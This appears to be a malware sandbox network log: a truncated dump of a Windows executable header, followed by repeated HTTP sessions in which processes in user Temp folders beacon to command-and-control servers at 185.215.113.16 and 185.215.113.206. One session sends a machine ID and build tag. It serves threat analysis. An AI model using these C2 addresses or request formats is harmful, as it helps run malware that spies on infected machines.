1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 80 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfJ@J]@WkDPdJdJ @.rsrcD@.idata @ *@npluczcb0@cveucipfpJ@.taggant0J"@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	49997	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:34:28.855132103 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:34:29.772907019 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 1, 2024 12:34:29.774590969 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Nov 1, 2024 12:34:30.056818008 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	49999	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:34:30.220755100 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:34:31.137706041 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 1, 2024 12:34:31.139985085 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Nov 1, 2024 12:34:31.597177029 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Nov 1, 2024 12:34:31.639348030 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	50001	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:34:31.716279030 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:34:32.630513906 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 1, 2024 12:34:32.776819944 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Nov 1, 2024 12:34:33.061603069 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	50003	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:34:33.183124065 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:34:34.080410957 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 1, 2024 12:34:34.084963083 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Nov 1, 2024 12:34:34.365044117 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	50005	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:34:34.512221098 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:34:35.431148052 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 1, 2024 12:34:35.440757036 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Nov 1, 2024 12:34:35.729388952 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.7	50006	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:34:35.880067110 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:34:36.782633066 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 1, 2024 12:34:36.814976931 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Nov 1, 2024 12:34:37.102585077 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.7	50008	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:34:37.216594934 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:34:38.117470980 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 1, 2024 12:34:38.122003078 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Nov 1, 2024 12:34:38.404259920 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.7	50010	185.215.113.206	80	6112	C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:34:38.362915993 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 12:34:39.304672003 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:34:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 12:34:39.308269978 CET	412	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJDHCAFCGDAAKEBFIJDG Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 44 48 43 41 46 43 47 44 41 41 4b 45 42 46 49 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 33 46 34 34 38 41 34 31 35 42 42 38 38 33 38 38 34 31 37 39 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 48 43 41 46 43 47 44 41 41 4b 45 42 46 49 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 48 43 41 46 43 47 44 41 41 4b 45 42 46 49 4a 44 47 2d 2d 0d 0a Data Ascii: ------KJDHCAFCGDAAKEBFIJDGContent-Disposition: form-data; name="hwid"A3F448A415BB883884179------KJDHCAFCGDAAKEBFIJDGContent-Disposition: form-data; name="build"tale------KJDHCAFCGDAAKEBFIJDG--
Nov 1, 2024 12:34:39.603281975 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 11:34:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	50011	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:34:38.624027967 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:34:39.519815922 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 1, 2024 12:34:39.523968935 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Nov 1, 2024 12:34:39.812203884 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.7	50012	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:34:39.954577923 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:34:40.883071899 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 1, 2024 12:34:40.925124884 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Nov 1, 2024 12:34:41.219464064 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.7	50013	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:34:41.369801998 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:34:42.280190945 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 1, 2024 12:34:42.281258106 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Nov 1, 2024 12:34:42.572639942 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.7	50015	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:34:42.690063000 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:34:43.605277061 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 1, 2024 12:34:43.646034002 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
